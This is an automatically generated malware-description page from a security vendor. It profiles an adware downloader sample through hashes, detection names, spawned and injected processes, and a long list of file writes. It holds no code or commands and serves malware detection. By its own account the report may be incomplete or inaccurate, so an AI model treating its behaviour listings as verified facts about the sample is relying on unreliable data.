Adware.Downloader.BG_c5f28a1399

by malwarelabrobot on November 25th, 2015 in Malware Descriptions.

Trojan-Downloader.Win32.Genome.vxbb (Kaspersky), Adware.Downloader.BG (AdAware), mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, Adware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: c5f28a13994da6a6784cbca67b803424
SHA1: 8d4634318d610719f85bbc2108d14dd1265b61f0
SHA256: 7387f7260b306e8c72723810179fdeba931bd3bb864916f81ca37470eb771b15
SSDeep: 1536:EQpQ5EP0ijnRTXJ15p76xz D2VKsETgLuDD:EQIURTXJ15pe4iosE7
Size: 66664 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-12-06 00:50:46
Analyzed on: WindowsXP SP3 32-bit

Summary:

Adware. Delivers advertising content in a manner or context that may be unexpected and unwanted by users. Many adware applications also perform tracking functions. Users may want to remove adware if they object to such tracking, do not wish to see the advertising caused by the program or are frustrated by its effects on system performance.

Payload

No specific payload has been found.

Process activity

The Adware creates the following process(es):

csc.exe:1644
csc.exe:2996
bavupdater.exe:3904
BavSvc.exe:3632
CheckNetwork.exe:1488
CheckNetwork.exe:1308
%original file name%.exe:1284
BavMSService.exe:2164
BavMSService.exe:204
BavMSService.exe:2436
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe:592
amisetup9587__9664.exe:2584
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe:1612
schtasks.exe:3560
schtasks.exe:3576
schtasks.exe:3568
ReportCommRetry.exe:2516
BavPro_Setup_B354.exe:3296
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe:1884
BavCheckOpponent.exe:876
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe:1948
regsvr32.exe:3588
regsvr32.exe:3620
OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe:236
cscript.exe:3216
cscript.exe:3256
cvtres.exe:2068
cvtres.exe:3004

The Adware injects its code into the following process(es):

PennyBeeW.exe:404
BavTray.exe:248
BavUpdater.exe:3072
PennyBee.exe:1976
BHipsSvc.exe:3852

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process csc.exe:1644 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%WinDir%\Temp\qov-o9se.dll (5926 bytes)
%WinDir%\Temp\qov-o9se.out (35782 bytes)
%WinDir%\Temp\CSCD.tmp (652 bytes)

The Adware deletes the following file(s):

%WinDir%\Temp\RESE.tmp (0 bytes)
%WinDir%\Temp\CSCD.tmp (0 bytes)

The process csc.exe:2996 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%WinDir%\Temp\pwxw4cq9.out (1466 bytes)
%WinDir%\Temp\CSCF.tmp (652 bytes)
%WinDir%\Temp\pwxw4cq9.dll (3556 bytes)

The Adware deletes the following file(s):

%WinDir%\Temp\CSCF.tmp (0 bytes)
%WinDir%\Temp\RES10.tmp (0 bytes)

The process bavupdater.exe:3904 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (30 bytes)

The process BavSvc.exe:3632 makes changes in the file system.
The Adware creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\uurm.dat (522 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin (4 bytes)
%System%\CatRoot2 (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\23A88272-3BEB-64D1-7DFB-470FD51F9BBA (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan (8 bytes)
%WinDir%\SoftwareDistribution\Download\36a2296f631a54daefcc3b56e3d990e2 (4 bytes)
%WinDir%\pchealth\helpctr\System\Remote Assistance (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\strlog\av144834865612525strr.dat (34 bytes)
%WinDir%\pchealth\helpctr\Vendors\CN=Microsoft Corporation,L=Redmond,S=Washington,C=US\Remote Assistance (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_ultimate.ini (12 bytes)
%WinDir%\SoftwareDistribution\Download\2e6b16219034e135b4f869efb7a10fee (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sc.ini (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox (104 bytes)
%WinDir%\pchealth\helpctr\System\panels (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs (4 bytes)
%WinDir%\SoftwareDistribution\Download\6a410a1bd174bc123056d235ac4829af (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary\icon.png.7z (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (1536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rr.dat (149 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\022593ca08eb4cd8e9681a7116f902d9 (4 bytes)
%WinDir%\pchealth\helpctr\System (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon (12 bytes)
C:\$Directory (2761 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\er.dat-journal (532 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\temp\56540c05.qv (677 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\urlConfig.ini (4 bytes)
%System%\config (204 bytes)
%WinDir%\assembly\NativeImages_v2.0.50727_32\PresentationFramewo# (4 bytes)
%WinDir%\pchealth\helpctr\System\images (4 bytes)
%WinDir%\Prefetch (8 bytes)
%WinDir%\Installer\$PatchCache$\Managed (4 bytes)
%Documents and Settings%\All Users\Application Data (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\temp\56540c04.qv (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button (12 bytes)
%WinDir%\SoftwareDistribution\Download\01229cf5dcf0df67992cac35a2ba0b3f (4 bytes)
%System%\CatRoot (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree (4 bytes)
%WinDir%\SoftwareDistribution\Download\17e46901add634f15d293735648771e6 (4 bytes)
%WinDir%\SoftwareDistribution\Download\85947e1a809663c7f480717673587a59 (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\ActivePerl 5.16.2 Build 1602 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (1808 bytes)
%WinDir%\assembly\GAC_32 (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Roles (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools (4 bytes)
%Program Files%\Reference Assemblies\Microsoft\Framework\v3.0 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\ieprotect\skin (4 bytes)
%System% (4032 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\0c1e5e0ffeb238b1ee5c9ea3a4878374 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\scrollbar (4 bytes)
%WinDir%\SoftwareDistribution\Download\b5f880834ad67f3d383ffff5f2fa46bd (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\progress.dat (28 bytes)
%Program Files%\Common Files\VMware\Drivers (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\config.ini (2704 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Permissions (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary (8 bytes)
%Program Files%\Adobe\Reader 9.0\Resource\Font (4 bytes)
%Program Files%\Common Files\Microsoft Shared\OFFICE14 (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319\WPF (4 bytes)
%WinDir%\Microsoft.NET\Framework\v3.0\WPF (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\BavSvc.log (2280 bytes)
%WinDir%\assembly\GAC_MSIL (36 bytes)
%WinDir%\Microsoft.NET (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.9.0.Microsoft.VC90.ATL_1fc8b3b9a1e18e3b_x-ww_9e7eb501 (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (53 bytes)
%Documents and Settings%\NetworkService\Local Settings (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary (4 bytes)
%WinDir%\WinSxS\Policies (8 bytes)
%WinDir%\SoftwareDistribution\Download (1632 bytes)
%System%\oobe\html (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\f0fea42f69058000617da24986c3b109 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\vr.dat-journal (532 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\PresentationFramewo# (4 bytes)
%WinDir%\Web (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\3811A2B3-20AF-486d-81FA-8774762CC135 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary (4 bytes)
C:\ (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\log\BavBsr.log (7 bytes)
%Documents and Settings%\%current user%\Favorites (4 bytes)
%WinDir%\SoftwareDistribution\Download\621a08ac003b616bcaa86aa4d4292d50 (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools (4 bytes)
%WinDir%\Temp\Perflib_Perfdata_144.dat (100 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine (4 bytes)
%Program Files%\Movie Maker (4 bytes)
%Documents and Settings%\%current user%\MY DOCUMENTS (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin (4 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\quick launch (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\bugreportconfig.ini (34 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button (4 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\menu (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin (16 bytes)
%WinDir%\SoftwareDistribution\Download\c0c52c03306062533f7dcb087bfcfa6b (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\DEF8DB04-2D26-469A-8D59-5D813E89773D\ToolSummary (4 bytes)
%WinDir%\WinSxS (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin (4 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32\Microsoft.VisualBas# (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\7dc26e8888d68d9e04bc52940c0f24b5 (4 bytes)
%WinDir% (688 bytes)
%WinDir%\pchealth\helpctr\OfflineCache (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Security\Users (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox (4 bytes)
%WinDir%\SoftwareDistribution\Download\e0c0da396303f1dd2c82cd2ccc07020d (4 bytes)
%WinDir%\SoftwareDistribution\Download\e79028ac4f02e201b61b2c632cb0fc5e (4 bytes)
%Program Files%\Adobe\Reader 9.0\Reader\plug_ins3d (4 bytes)
C:\PROGRAM FILES (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\uf.dat (375393 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess (4 bytes)
%WinDir%\Help\Tours\WindowsMediaPlayer\Img (4 bytes)
%WinDir%\Tasks (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\e8252bbfa91fcf5afb38775b18691074 (4 bytes)
%WinDir%\SoftwareDistribution\Download\8b9a83d2cde55eb19dc502cc2dd04e0d (4 bytes)
%WinDir%\assembly\NativeImages_v4.0.30319_32 (28 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\bc81666f3868f34642e3f5adbc2719f9 (4 bytes)
%System%\config\systemprofile\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dat (1847422 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data (601 bytes)
%Documents and Settings% (4 bytes)
%Documents and Settings%\Default User\Local Settings (4 bytes)
%WinDir%\$hf_mig$ (8 bytes)
%System%\spool\XPSEP\amd64 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button (4 bytes)
%WinDir%\ime\imjp8_1 (4 bytes)
%Program Files%\Adobe\Reader 9.0\Resource (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data (396 bytes)
%System%\config\default (2980 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\userconfig.ini (31 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft (4 bytes)
%WinDir%\Help\Tours\WindowsMediaPlayer (4 bytes)
%Documents and Settings%\NetworkService (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\radiobox (4 bytes)
%WinDir%\SoftwareDistribution\Download\c656e6c592787a464f852186d6e0b466 (4 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0 (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus (8 bytes)
%WinDir%\SoftwareDistribution\Download\8bb5f1c638778df6b77d80bc61ffc63c (4 bytes)
%WinDir%\SoftwareDistribution\Download\b91377d1d56820d9d699c0c2dc7c8e80 (4 bytes)
%WinDir%\SoftwareDistribution\Download\30438597a812a5d1d7979088d451747f (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\plugin (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft (4 bytes)
%Program Files%\Microsoft Office\Office14 (4 bytes)
%System%\config\SysEvent.Evt (256 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan (8 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games (4 bytes)
%WinDir%\Temp (8 bytes)
%WinDir%\Installer (96 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\investigate\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\ee4e3d4bf0d346e1b8fdee8197195e59 (4 bytes)
%WinDir%\SoftwareDistribution\Download\211409fc1d99b95b32fb0344cad140df (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\up.dat (149 bytes)
%WinDir%\SoftwareDistribution\Download\dffcab319e36b852e5b2d51802010a7a (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\aboutus (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\5DB281C3-B655-656A-01B6-E302199E376A (4 bytes)
%WinDir%\SoftwareDistribution\Download\e5c5fc9bd7a4957f0a45c6db2957c5c9 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavTray\skin (4 bytes)
%WinDir%\SoftwareDistribution\Download\196fa81559690e2494e56094df51cdd8 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D (4 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0 (8 bytes)
%WinDir%\SoftwareDistribution\Download\906245b7f0992255b054322b77475594 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin (4 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories (4 bytes)
%WinDir%\ime\imkr6_1 (4 bytes)
%System%\config\systemprofile\Application Data\MICROSOFT (4 bytes)
%WinDir%\pchealth\helpctr\System\sysinfo\graphics (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg (4 bytes)
%WinDir%\SoftwareDistribution\Download\248802b74506342031e926839639c729 (4 bytes)
%WinDir%\SoftwareDistribution\Download\cb88a2f03b29735db957d61a63df6504 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\ASP.NETWebAdminFiles\Providers (4 bytes)
%WinDir%\SoftwareDistribution\Download\21156e54b0f0f47f81dab4a39e109501 (4 bytes)
%Documents and Settings%\All Users\Documents\My Music (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus (8 bytes)
%Program Files%\Windows NT (4 bytes)
%WinDir%\SoftwareDistribution\Download\c263092dccc247f68a43cfee93ecc72d (4 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\config.ini (162 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin (4 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\E839B20B-DE0B-461d-A3CD-769DFA88F488 (4 bytes)
%WinDir%\SoftwareDistribution\Download\da2a33b6770f970d7fe7262040f98a4f (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications (4 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories (4 bytes)
%Documents and Settings%\LocalService\LOCAL SETTINGS (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\urlConfigFileInfo.ini (4 bytes)
C:\totalcmd (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028 (4 bytes)
%Program Files%\Common Files\System (4 bytes)
%Documents and Settings%\LOCALSERVICE (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin (4 bytes)
%Program Files%\Windows Media Player (4 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (11184 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054 (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (400 bytes)
%WinDir%\SoftwareDistribution\Download\aadd6ccc4585cbf4ee04287eb0e679df (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\detail.xml.7z (4 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046 (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%WinDir%\SoftwareDistribution\Download\6b7f938fb3db15dab273f3f1702c318c (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolFileList.xml (8 bytes)
%WinDir%\Microsoft.NET\Framework\v3.5\Microsoft .NET Framework 3.5 (384 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\button (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin (4 bytes)
%WinDir%\pchealth\helpctr\Config (4 bytes)
%WinDir%\msagent (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P (8 bytes)
%Program Files%\Movie Maker\Shared (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031 (4 bytes)
%System%\wbem (492 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033 (4 bytes)
%WinDir%\SoftwareDistribution\Download\57b4b90cc3eead9f6c29b58581d03ae4 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0 (5416 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\HipsTips.xml (1281 bytes)
%WinDir%\SoftwareDistribution\Download\21cbd3f70584651805685eba1753505f (4 bytes)
%WinDir%\SoftwareDistribution\Download\b6f4642d2b8dc03c5ce1b1a4f77b1bda (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\tr.dat-journal (532 bytes)
%WinDir%\SoftwareDistribution\Download\9460002f6d8231358fc1eb590f9b1dce (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree (4 bytes)
%WinDir%\SoftwareDistribution\Download\bc8ea6c22fd142de8dd67336d23310cf (4 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dynamicskin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus (8 bytes)
%System%\mui (4 bytes)
%WinDir%\REGISTRATION (4 bytes)
%System%\spool\XPSEP\i386 (4 bytes)
%WinDir%\SoftwareDistribution\Download\1c47f41cc76cde4c629564d7564f2795 (4 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft (4 bytes)
%WinDir%\Temp\Perflib_Perfdata_638.dat (4 bytes)
%WinDir%\SoftwareDistribution\Download\de81b460c3abcfc5b8494c785a5f3944 (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\ieprotect\skin (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary (4 bytes)
%System%\wbem\Logs\wbemess.log (768 bytes)
%System%\config\systemprofile\Start Menu\Programs (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hr.dat (149 bytes)
